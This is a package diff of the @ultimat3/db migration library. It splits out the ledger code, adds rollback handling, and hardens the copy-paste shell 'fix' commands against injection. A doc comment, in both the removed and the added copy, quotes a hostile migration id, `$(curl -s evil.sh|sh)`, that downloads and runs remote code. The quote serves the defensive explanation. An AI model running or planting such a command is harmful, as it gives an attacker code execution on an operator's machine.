@ultimat3/db 24.0.0 → 25.0.0

package/src/migrate.ts

@@ -3,19 +3,37 @@
 // app-version fence is the `migrate` role's contract — a pod must refuse to migrate a database
 // another build already owns, because the alternative is two schemas racing during a rollout.
 
-import { appVersion, finiteCount } from '@ultimat3/core';
+import { appVersion, finiteCount, logger, renderFixShellArg } from '@ultimat3/core';
 import { baseClient, type DbClient, type DbConnection, isReservable } from './client';
 import { refuseDependentViews } from './dependent-view';
 import { expectedQueryLoop } from './expected-loop';
-import type { SchemaDescription } from './introspect';
+import { ledgerAheadOfBuild } from './migrate-rollback';
 import { migrateConcurrent, migrationConflict, rollbackStepsInvalid } from './migration-errors';
+import type { Migration } from './migration-ledger';
+import {
+  auditLedger,
+  ensureLedger,
+  LEDGER_TABLE,
+  migrationChecksum,
+  pendingMigrations,
+  readLedger,
+} from './migration-ledger';
 import { poolProfileFor } from './pool-profile';
 import { raw, sql } from './sql';
-import { SQLSTATE, sqlState } from './sqlstate';
 import { statementsOf } from './statement-split';
 import { withTransaction } from './transaction';
 
-export const LEDGER_TABLE = 'x_migrations';
+export type { LedgerRow, Migration } from './migration-ledger';
+export {
+  auditLedger,
+  checksumOf,
+  ensureLedger,
+  isLedgerMissing,
+  LEDGER_TABLE,
+  migrationChecksum,
+  pendingMigrations,
+  readLedger,
+} from './migration-ledger';
 
 /** Stable, arbitrary: every Ultimate migrator contends on this one key. */
 export const MIGRATION_LOCK_KEY = 4_919_202_607;
@@ -32,27 +50,6 @@ export const MIGRATION_LOCK_WAIT_MS = 60_000;
 /** One poll per half-second: cheap against a lock that is usually free on the first try. */
 export const MIGRATION_LOCK_POLL_MS = 500;
 
-export interface Migration {
-  /** Sort key and primary key. `20260726120000_add_publish_at`. */
-  readonly id: string;
-  readonly name: string;
-  readonly up: string;
-  readonly down: string;
-  /** Computed from `up` when absent. */
-  readonly checksum?: string | undefined;
-  /** The schema this migration leaves behind. `drift.ts` compares the live DB against it. */
-  readonly snapshot?: SchemaDescription | undefined;
-}
-
-export interface LedgerRow {
-  readonly id: string;
-  readonly name: string;
-  readonly checksum: string;
-  readonly applied_at: string;
-  readonly app_version: string;
-  readonly duration_ms: number;
-}
-
 export interface AppliedMigration {
   readonly id: string;
   readonly name: string;
@@ -65,6 +62,11 @@ export interface MigrationReport {
   readonly skipped: readonly string[];
   readonly durationMs: number;
   readonly appVersion: string;
+  /**
+   * Ledger ids a NEWER build applied, when this build is a rollback onto them — accepted, never
+   * applied or reverted (`migrate-rollback.ts`). Empty on every ordinary run.
+   */
+  readonly ahead: readonly string[];
 }
 
 export interface MigrateOptions {
@@ -83,14 +85,6 @@ export interface MigrateOptions {
   readonly lockTimeoutMs?: number | undefined;
 }
 
-export function checksumOf(text: string): string {
-  return new Bun.CryptoHasher('sha256').update(text.trim()).digest('hex').slice(0, 32);
-}
-
-export function migrationChecksum(migration: Migration): string {
-  return migration.checksum ?? checksumOf(migration.up);
-}
-
 /**
  * Core's, never a second read of the key: `x_migrations.app_version` and `x_backfills.app_version`
  * are two durable columns an operator reads side by side, and a package defaulting `APP_VERSION`
@@ -100,125 +94,6 @@ export function runningAppVersion(explicit?: string | undefined): string {
   return explicit ?? appVersion();
 }
 
-export async function ensureLedger(client: DbClient): Promise<void> {
-  await client.execute(sql`
-    create table if not exists ${raw(LEDGER_TABLE)} (
-      id text primary key,
-      name text not null,
-      checksum text not null,
-      applied_at timestamptz not null default now(),
-      app_version text not null,
-      duration_ms integer not null
-    )
-  `);
-}
-
-/**
- * Whether `error` is "the ledger table does not exist" and nothing else.
- *
- * Everything else — a permission denied, a server in recovery, a timeout — is a failure to read the
- * ledger, not an empty one, and a caller treating the two alike reports every migration as pending
- * against a database it cannot see.
- *
- * The SQLSTATE comes from `sqlState()` and from nowhere else: this function used to read
- * `sourceError.code` itself, which is the SQLSTATE on PGlite and the literal string
- * `ERR_POSTGRES_SERVER_ERROR` on `Bun.SQL`, so it answered `false` for a genuinely missing ledger
- * on every production driver. One reader, one answer (axiom 1).
- */
-export function isLedgerMissing(error: unknown): boolean {
-  return sqlState(error) === SQLSTATE.undefinedTable;
-}
-
-export async function readLedger(client: DbClient): Promise<readonly LedgerRow[]> {
-  return client.query<LedgerRow>(sql`
-    select id, name, checksum, applied_at, app_version, duration_ms
-    from ${raw(LEDGER_TABLE)}
-    order by id
-  `);
-}
-
-/**
- * Every reason a migrator must stop before touching the schema. Pure, so `x db status` can
- * report the same verdict without holding the lock.
- */
-export function auditLedger(
-  ledger: readonly LedgerRow[],
-  migrations: readonly Migration[],
-  appVersion: string,
-): void {
-  const known = new Map(migrations.map((migration) => [migration.id, migration]));
-
-  // The predicate is "this build does not ship it" and NOTHING else. It used to also require
-  // `row.app_version !== appVersion`, which switched the audit off wherever the two agree —
-  // `runningAppVersion()` answers `dev` for every development build, so a migration applied by an
-  // earlier `dev` build and since deleted was invisible here, and `expectedSchema` then dropped
-  // its table from the drift comparison: `ok: true` against a database that still has the table.
-  // The version is a detail of the ANSWER, so it moved into the cause.
-  const foreign = ledger.filter((row) => !known.has(row.id));
-  const first = foreign[0];
-  if (first !== undefined) {
-    throw migrationConflict(
-      `the ledger records migration "${first.id}" applied by app version "${first.app_version}" ` +
-        `but this build is "${appVersion}" and does not ship it`,
-      // `x db status` has never existed — the subcommands are gen, migrate, reset, studio, branch
-      // and backfill — and this is one of the two errors most likely to fire during a real deploy.
-      // A `fix:` is copied and run verbatim, so it names the ledger read that works anywhere psql
-      // does, and the one edit that resolves the disagreement.
-      conflictFix(first),
-    );
-  }
-
-  for (const row of ledger) {
-    const migration = known.get(row.id);
-    if (migration === undefined) continue;
-    const checksum = migrationChecksum(migration);
-    if (checksum === row.checksum) continue;
-    throw migrationConflict(
-      `migration "${row.id}" was applied with checksum ${row.checksum} but now hashes ${checksum}`,
-      `x db gen "fix ${migration.name}"   # never edit an applied migration, add a new one`,
-    );
-  }
-}
-
-/**
- * The migration id is the DATABASE's own text — whoever can write a ledger row picks what lands in
- * a line an operator pastes — and it goes inside SHELL DOUBLE QUOTES, where `$(…)` and a backtick
- * substitute before psql is reached at all. Measured before this screen: an id of
- * `$(curl -s evil.sh|sh)` produced exactly that command.
- *
- * So the id does not go in as text. It goes in **base64**, decoded by Postgres itself
- * (`convert_from(decode(…,'base64'),'UTF8')`), and the base64 alphabet is `A-Za-z0-9+/=` — every
- * character of it inert in shell double quotes and inert inside a SQL string literal. One command
- * shape for every ledger row there can be, with no screen, no branch and no escape to get wrong.
- *
- * It DID branch: `shellInertIdentifier` screened both the id and the app version, and a refusal
- * degraded the whole line to prose naming no command — so a row could take the one instruction
- * away from the operator by holding a space. An error that stops being an instruction under
- * adversarial input is an error the adversary silenced (axiom 4). The version is not in the line
- * at all any more; the CAUSE already names it, and the fix's job is to be runnable.
- *
- * The id is unreadable in the command, and that is the trade: `cause:` is where a human reads
- * which migration this is, `fix:` is where they paste. `psql` echoes the row count it deleted.
- */
-function conflictFix(row: LedgerRow): string {
-  const encodedId = Buffer.from(row.id, 'utf8').toString('base64');
-  return (
-    'deploy the app version this error names — or, if that build is gone, drop its row: ' +
-    `psql "$DATABASE_URL" -c "delete from ${LEDGER_TABLE} ` +
-    `where id = convert_from(decode('${encodedId}', 'base64'), 'UTF8')"`
-  );
-}
-
-export function pendingMigrations(
-  ledger: readonly LedgerRow[],
-  migrations: readonly Migration[],
-): readonly Migration[] {
-  const applied = new Set(ledger.map((row) => row.id));
-  return [...migrations]
-    .sort((a, b) => (a.id < b.id ? -1 : 1))
-    .filter((migration) => !applied.has(migration.id));
-}
-
 /**
  * Hold the migration lock on **one** session for the whole of `fn`, which runs on that session.
  *
@@ -368,8 +243,22 @@ export async function migrate(options: MigrateOptions): Promise<MigrationReport>
     finiteCount('migrate', 'lockWaitMs', options.lockWaitMs ?? MIGRATION_LOCK_WAIT_MS, 0),
     async (session) => {
       await ensureLedger(session);
-      const ledger = await readLedger(session);
+      const read = await readLedger(session);
+      // A rollback to an older image meets rows the newer build applied. Accepted, applied over by
+      // nothing, and said out loud: the pre-upgrade Job failing here was the rollback failing.
+      const rolledBack = ledgerAheadOfBuild(read, options.migrations);
+      const ledger = rolledBack?.known ?? read;
       auditLedger(ledger, options.migrations, appVersion);
+      const ahead = rolledBack?.ahead.map((row) => row.id) ?? [];
+      if (rolledBack !== undefined) {
+        logger.warn('ultimate migrate ledger ahead of build', {
+          appVersion,
+          ahead,
+          aheadAppVersions: [...new Set(rolledBack.ahead.map((row) => row.app_version))],
+          cause: `the ledger holds ${ahead.length} migration(s) newer than every one build "${appVersion}" ships — a rollback onto a newer build's schema; nothing was applied`,
+          fix: 'x db migrate --json   # after the rollback, from the newer build: it finds its migrations already applied',
+        });
+      }
 
       const pending = pendingMigrations(ledger, options.migrations);
       // A statement per migration and a transaction per migration is the point, not an N+1 to batch:
@@ -418,6 +307,7 @@ export async function migrate(options: MigrateOptions): Promise<MigrationReport>
         skipped: ledger.map((row) => row.id),
         durationMs: Math.round(performance.now() - started),
         appVersion,
+        ahead,
       };
     },
   );
@@ -473,7 +363,7 @@ export async function rollback(options: RollbackOptions): Promise<readonly strin
                 `migration "${row.id}" is in the ledger but not in this build, so its down SQL is unknown`,
                 // Same reason as `auditLedger`'s: `x db status` does not exist. The `down` SQL only
                 // exists in the build that shipped it, so the fix is the read that names that build.
-                `psql "$DATABASE_URL" -c "select id, app_version from ${LEDGER_TABLE} ` +
+                `psql "$DATABASE_URL" -c "select id, app_version from ${renderFixShellArg(LEDGER_TABLE, '<ledger table>')} ` +
                   `order by id desc limit 5"   # deploy the build that shipped the migration ` +
                   `whose id is base64 ${Buffer.from(row.id, 'utf8').toString('base64')}, ` +
                   'and roll back there — its down SQL exists nowhere else',

package/src/migration-ledger.ts

@@ -0,0 +1,167 @@
+// Single responsibility: the `x_migrations` ledger — what a migration IS, the table that records
+// one applied, and the pure verdicts read off it (checksum drift, a foreign row, what is pending).
+// Split from `migrate.ts`, which keeps the lock, the apply loop and the rollback; `migrate.ts`
+// re-exports every name here, so its public surface is unchanged.
+
+import type { DbClient } from './client';
+import type { SchemaDescription } from './introspect';
+import { migrationConflict } from './migration-errors';
+import { migrationNameArg } from './primary-key';
+import { raw, sql } from './sql';
+import { SQLSTATE, sqlState } from './sqlstate';
+
+export const LEDGER_TABLE = 'x_migrations';
+
+export interface Migration {
+  /** Sort key and primary key. `20260726120000_add_publish_at`. */
+  readonly id: string;
+  readonly name: string;
+  readonly up: string;
+  readonly down: string;
+  /** Computed from `up` when absent. */
+  readonly checksum?: string | undefined;
+  /** The schema this migration leaves behind. `drift.ts` compares the live DB against it. */
+  readonly snapshot?: SchemaDescription | undefined;
+}
+
+export interface LedgerRow {
+  readonly id: string;
+  readonly name: string;
+  readonly checksum: string;
+  readonly applied_at: string;
+  readonly app_version: string;
+  readonly duration_ms: number;
+}
+
+/**
+ * CRLF is folded to LF first: a Windows checkout under `core.autocrlf=true` reads the same migration
+ * as CRLF, and an image built from it must not refuse a database a Linux image migrated. LF input
+ * is hashed byte-for-byte as before, so no checksum already in a ledger moves. A lone `\r` is SQL.
+ */
+export function checksumOf(text: string): string {
+  const lf = text.replaceAll('\r\n', '\n');
+  return new Bun.CryptoHasher('sha256').update(lf.trim()).digest('hex').slice(0, 32);
+}
+
+export function migrationChecksum(migration: Migration): string {
+  return migration.checksum ?? checksumOf(migration.up);
+}
+
+export async function ensureLedger(client: DbClient): Promise<void> {
+  await client.execute(sql`
+    create table if not exists ${raw(LEDGER_TABLE)} (
+      id text primary key,
+      name text not null,
+      checksum text not null,
+      applied_at timestamptz not null default now(),
+      app_version text not null,
+      duration_ms integer not null
+    )
+  `);
+}
+
+/**
+ * Whether `error` is "the ledger table does not exist" and nothing else.
+ *
+ * Everything else — a permission denied, a server in recovery, a timeout — is a failure to read the
+ * ledger, not an empty one, and a caller treating the two alike reports every migration as pending
+ * against a database it cannot see.
+ *
+ * The SQLSTATE comes from `sqlState()` and from nowhere else: this function used to read
+ * `sourceError.code` itself, which is the SQLSTATE on PGlite and the literal string
+ * `ERR_POSTGRES_SERVER_ERROR` on `Bun.SQL`, so it answered `false` for a genuinely missing ledger
+ * on every production driver. One reader, one answer (axiom 1).
+ */
+export function isLedgerMissing(error: unknown): boolean {
+  return sqlState(error) === SQLSTATE.undefinedTable;
+}
+
+export async function readLedger(client: DbClient): Promise<readonly LedgerRow[]> {
+  return client.query<LedgerRow>(sql`
+    select id, name, checksum, applied_at, app_version, duration_ms
+    from ${raw(LEDGER_TABLE)}
+    order by id
+  `);
+}
+
+/**
+ * Every reason a migrator must stop before touching the schema. Pure, so `x db status` can
+ * report the same verdict without holding the lock.
+ */
+export function auditLedger(
+  ledger: readonly LedgerRow[],
+  migrations: readonly Migration[],
+  appVersion: string,
+): void {
+  const known = new Map(migrations.map((migration) => [migration.id, migration]));
+
+  // The predicate is "this build does not ship it" and NOTHING else. It used to also require
+  // `row.app_version !== appVersion`, which switched the audit off wherever the two agree —
+  // `runningAppVersion()` answers `dev` for every development build, so a migration applied by an
+  // earlier `dev` build and since deleted was invisible here, and `expectedSchema` then dropped
+  // its table from the drift comparison: `ok: true` against a database that still has the table.
+  // The version is a detail of the ANSWER, so it moved into the cause.
+  const foreign = ledger.filter((row) => !known.has(row.id));
+  const first = foreign[0];
+  if (first !== undefined) {
+    throw migrationConflict(
+      `the ledger records migration "${first.id}" applied by app version "${first.app_version}" ` +
+        `but this build is "${appVersion}" and does not ship it`,
+      // `x db status` has never existed — the subcommands are gen, migrate, reset, studio, branch
+      // and backfill — and this is one of the two errors most likely to fire during a real deploy.
+      // A `fix:` is copied and run verbatim, so it names the ledger read that works anywhere psql
+      // does, and the one edit that resolves the disagreement.
+      conflictFix(first),
+    );
+  }
+
+  for (const row of ledger) {
+    const migration = known.get(row.id);
+    if (migration === undefined) continue;
+    const checksum = migrationChecksum(migration);
+    if (checksum === row.checksum) continue;
+    throw migrationConflict(
+      `migration "${row.id}" was applied with checksum ${row.checksum} but now hashes ${checksum}`,
+      `x db gen ${migrationNameArg(`fix ${migration.name}`)}   # never edit an applied migration, add a new one`,
+    );
+  }
+}
+
+/**
+ * The migration id is the DATABASE's own text — whoever can write a ledger row picks what lands in
+ * a line an operator pastes — and it goes inside SHELL DOUBLE QUOTES, where `$(…)` and a backtick
+ * substitute before psql is reached at all. Measured before this screen: an id of
+ * `$(curl -s evil.sh|sh)` produced exactly that command.
+ *
+ * So the id does not go in as text. It goes in **base64**, decoded by Postgres itself
+ * (`convert_from(decode(…,'base64'),'UTF8')`), and the base64 alphabet is `A-Za-z0-9+/=` — every
+ * character of it inert in shell double quotes and inert inside a SQL string literal. One command
+ * shape for every ledger row there can be, with no screen, no branch and no escape to get wrong.
+ *
+ * It DID branch: `shellInertIdentifier` screened both the id and the app version, and a refusal
+ * degraded the whole line to prose naming no command — so a row could take the one instruction
+ * away from the operator by holding a space. An error that stops being an instruction under
+ * adversarial input is an error the adversary silenced (axiom 4). The version is not in the line
+ * at all any more; the CAUSE already names it, and the fix's job is to be runnable.
+ *
+ * The id is unreadable in the command, and that is the trade: `cause:` is where a human reads
+ * which migration this is, `fix:` is where they paste. `psql` echoes the row count it deleted.
+ */
+function conflictFix(row: LedgerRow): string {
+  const encodedId = Buffer.from(row.id, 'utf8').toString('base64');
+  return (
+    'deploy the app version this error names — or, if that build is gone, drop its row: ' +
+    `psql "$DATABASE_URL" -c "delete from ${LEDGER_TABLE} ` +
+    `where id = convert_from(decode('${encodedId}', 'base64'), 'UTF8')"`
+  );
+}
+
+export function pendingMigrations(
+  ledger: readonly LedgerRow[],
+  migrations: readonly Migration[],
+): readonly Migration[] {
+  const applied = new Set(ledger.map((row) => row.id));
+  return [...migrations]
+    .sort((a, b) => (a.id < b.id ? -1 : 1))
+    .filter((migration) => !applied.has(migration.id));
+}

package/src/pglite-branch.ts

@@ -22,7 +22,7 @@ export interface PgliteBranchOptions {
 }
 
 export interface PgliteBranchInfo extends BranchInfo {
-  /** Hand this straight to `createPgliteClient({ dataDir })`. */
+  /** Hand this straight to `pgliteClient({ dataDir })`. */
   readonly dataDir: string;
 }
 

package/src/pglite.ts

@@ -175,7 +175,7 @@ async function restore(
   }
 }
 
-/** Boots one embedded Postgres. Costs seconds — `createPgliteClient` calls it exactly once. */
+/** Boots one embedded Postgres. Costs seconds — `pgliteClient` calls it exactly once. */
 export async function loadPgliteDriver(options: PgliteOptions = {}): Promise<PgliteDriver> {
   if (options.driver !== undefined) return options.driver;
   const dataDir = options.dataDir ?? PGLITE_MEMORY;
@@ -249,8 +249,8 @@ function rowsOf(result: PgliteResult): number {
     : result.rows.length;
 }
 
-/** Lazily boots: constructing a client opens nothing, exactly like `createPostgresClient`. */
-export function createPgliteClient(options: PgliteOptions = {}): PgliteClient {
+/** Lazily boots: constructing a client opens nothing, exactly like `postgresClient`. */
+export function pgliteClient(options: PgliteOptions = {}): PgliteClient {
   // One in-flight boot, shared. PGlite takes seconds to start, so two concurrent first queries
   // would otherwise build two instances over the same data directory and orphan one of them.
   let booting: Promise<PgliteDriver> | undefined;

package/src/pool-profile.ts

@@ -137,7 +137,7 @@ export function assertPoolProfile(profile: PoolProfile): PoolProfile {
     assert(
       Number.isSafeInteger(value) && value >= min,
       `pool profile ${option} is ${String(value)}; it must be a whole number of ${min === 1 ? 'at least 1' : '0 or more, where 0 is the documented "no bound"'}`,
-      `pass a whole number for ${option} in createPostgresClient({ profile }), and parse an environment value first — Number(process.env.DATABASE_${option.toUpperCase()} ?? '') is NaN when the variable is unset`,
+      `pass a whole number for ${option} in postgresClient({ profile }), and parse an environment value first — Number(process.env.DATABASE_${option.toUpperCase()} ?? '') is NaN when the variable is unset`,
     );
   };
   whole('max', profile.max, 1);

package/src/primary-key.ts

@@ -3,7 +3,7 @@
 // points at. `diffTable` had no arm for it, so a changed `primaryKey` wrote no statement while the
 // snapshot beside it recorded the new key, and drift had no comparison to notice with.
 
-import { assert } from '@ultimat3/core';
+import { assert, renderFixLiteral, renderFixShellArg } from '@ultimat3/core';
 import { defaultExpression } from './column-default';
 import type { EntityDescriptionLike } from './entity-shape';
 import type { Plan } from './foreign-key-plan';
@@ -13,6 +13,33 @@ import { MAX_IDENTIFIER_BYTES } from './invariant-ddl';
 import { migrationIrreversible } from './migration-errors';
 import { identifier } from './sql';
 
+/**
+ * Inside shell double quotes a `$`, a backtick and a `!` still run; everything else — a quote, a
+ * `;`, a space — is inert once `JSON.stringify` has escaped `"` and `\\`.
+ */
+const DOUBLE_QUOTE_LIVE = /[$`!]/;
+
+/**
+ * A control character — C0, DEL, C1. `JSON.stringify` writes one as an escape (`\\n`), and inside
+ * shell double quotes that escape is passed on LITERALLY, so the pasted line would name a different
+ * migration than the one refused. The placeholder is honest; an escape is not.
+ */
+// biome-ignore lint/suspicious/noControlCharactersInRegex: matching them is the point.
+const CONTROL = /[\u0000-\u001f\u007f-\u009f]/;
+
+/**
+ * A migration NAME as the one argument of `x db gen "…"`, for a `fix:` a reader pastes. It is a
+ * description (`add posts`), never an identifier, so it keeps its spaces; a name carrying shell
+ * syntax becomes the placeholder rather than a second command (plan 101 row S12). Lives here, the
+ * lowest of the three files echoing one, so `generate.ts` and `migrate.ts` share one rule.
+ */
+export const migrationNameArg = (name: string): string =>
+  renderFixLiteral(
+    // A leading `-` reads as a flag to `x db gen` however it is quoted (sweep 1c audit, L3).
+    DOUBLE_QUOTE_LIVE.test(name) || CONTROL.test(name) || name.startsWith('-') ? undefined : name,
+    '"<a migration name>"',
+  );
+
 /**
  * `<table>_pkey` — what Postgres names the constraint an inline `primary key (…)` creates, which is
  * how `createTable` has always written one. Written out by name on every `add` here, so the name a
@@ -27,7 +54,10 @@ export function primaryKeyName(table: string): string {
   assert(
     bytes <= MAX_IDENTIFIER_BYTES,
     `primary key constraint "${name}" is ${bytes} bytes; Postgres truncates at ${MAX_IDENTIFIER_BYTES}, so the name the database holds is not this one`,
-    `psql "$DATABASE_URL" -c "select conname from pg_constraint where contype = 'p' and conrelid = '${table}'::regclass"   # then write the drop constraint / add primary key pair by hand in a new migration`,
+    // By `relname`, not `'<table>'::regclass`: a regclass literal re-parses the name as SQL, so a
+    // mixed-case table needs inner double quotes — which end the shell string. A name that is not
+    // one plain shell word is also not a safe SQL literal, so it is the placeholder (plan 101 S12).
+    `psql "$DATABASE_URL" -c "select con.conname from pg_constraint con join pg_class rel on rel.oid = con.conrelid where con.contype = 'p' and rel.relname = '${renderFixShellArg(table, '<table>')}'"   # then write the drop constraint / add primary key pair by hand in a new migration`,
   );
   return name;
 }
@@ -111,7 +141,7 @@ export function dropChangedKey(
   if (inbound.length > 0) {
     throw migrationIrreversible(
       `changing the primary key of "${entity.table}" drops the constraint ${inbound.map((name) => `"${name}"`).join(', ')} ${inbound.length === 1 ? 'is' : 'are'} written against, and re-pointing another table's foreign key is not a change this generator can derive`,
-      `x db gen "${migration}"   # after removing the references() to "${entity.table}" behind ${inbound.join(', ')} — drop the keys in one migration, change the primary key in the next, restore them in a third`,
+      `x db gen ${migrationNameArg(migration)}   # after removing the references() to "${entity.table}" behind ${inbound.join(', ')} — drop the keys in one migration, change the primary key in the next, restore them in a third`,
     );
   }
   plan.up.push(dropPrimaryKey(entity.table, primaryKeyName(entity.table), true));
@@ -164,7 +194,7 @@ export function addChangedKey(
     const names = empty.map((column) => `"${column.column}"`).join(', ');
     throw migrationIrreversible(
       `the new primary key of "${entity.table}" names ${names}, which this same migration adds with no default that fills it: every existing row would hold NULL there, and a primary key cannot be added over a NULL`,
-      `x db gen "${migration}"   # with ${names} declared but left OUT of primaryKey — apply it, backfill the column, then put it in the key and run x db gen again`,
+      `x db gen ${migrationNameArg(migration)}   # with ${names} declared but left OUT of primaryKey — apply it, backfill the column, then put it in the key and run x db gen again`,
     );
   }
   plan.up.push(addPrimaryKey(entity.table, entity.primaryKey));

package/src/snapshot-parse.ts

@@ -118,14 +118,20 @@ function tableOf(value: unknown): TableDescription | undefined {
   // wrong. Any other value is garbage and takes the file with it, like every field above.
   const identity = value['replicaIdentityFull'];
   if (!(identity === undefined || bool(identity))) return undefined;
-  const replica = identity === true ? { replicaIdentityFull: true as const } : {};
+  // `appendOnly` by the same rule: `true` or nothing, `false` normalised away.
+  const appendOnly = value['appendOnly'];
+  if (!(appendOnly === undefined || bool(appendOnly))) return undefined;
+  const flags = {
+    ...(identity === true ? { replicaIdentityFull: true as const } : {}),
+    ...(appendOnly === true ? { appendOnly: true as const } : {}),
+  };
   const raw = value['checks'];
   if (raw === undefined) {
-    return { schema, name, columns, primaryKey, indexes, foreignKeys, ...replica };
+    return { schema, name, columns, primaryKey, indexes, foreignKeys, ...flags };
   }
   const checks = all(raw, check);
   if (checks === undefined) return undefined;
-  return { schema, name, columns, primaryKey, indexes, foreignKeys, checks, ...replica };
+  return { schema, name, columns, primaryKey, indexes, foreignKeys, checks, ...flags };
 }
 
 /**

package/src/drift-fixtures.ts

@@ -1,23 +0,0 @@
-// TEST-ONLY. The two builders every drift suite compares with — a `TableDescription` of text
-// columns and the `SchemaDescription` around it. One copy, because three suites arguing about
-// schemas built differently would each be judging a different fixture. Never exported from
-// `index.ts`.
-
-import type { SchemaDescription, TableDescription } from './introspect';
-
-export const table = (name: string, columns: readonly string[]): TableDescription => ({
-  schema: 'public',
-  name,
-  columns: columns.map((column, index) => ({
-    name: column,
-    dataType: 'text',
-    nullable: true,
-    default: null,
-    position: index + 1,
-  })),
-  primaryKey: ['id'],
-  indexes: [],
-  foreignKeys: [],
-});
-
-export const schema = (...tables: readonly TableDescription[]): SchemaDescription => ({ tables });

package/src/fake-pglite.ts

@@ -1,32 +0,0 @@
-// Single responsibility: the PGlite driver fake the adapter tests record statements against.
-// Shared rather than copied for the same reason `fake-reservable.ts` is: the assertion in every
-// one of these tests is the recorded ORDER, and two copies of the recorder drift into two orders.
-
-import type { PgliteDriver, PgliteResult } from './pglite';
-
-/** One statement as the driver received it — the text after binding, and the bound values. */
-export interface Recorded {
-  readonly text: string;
-  readonly values: readonly unknown[];
-}
-
-export type RecordingPgliteDriver = PgliteDriver & {
-  readonly calls: Recorded[];
-  closed: number;
-};
-
-/** A driver that answers every statement with `result` and remembers the order it saw them in. */
-export function fakeDriver(result: PgliteResult): RecordingPgliteDriver {
-  const calls: Recorded[] = [];
-  return {
-    calls,
-    closed: 0,
-    async query(text, values) {
-      calls.push({ text, values: values ?? [] });
-      return result;
-    },
-    async close() {
-      this.closed += 1;
-    },
-  };
-}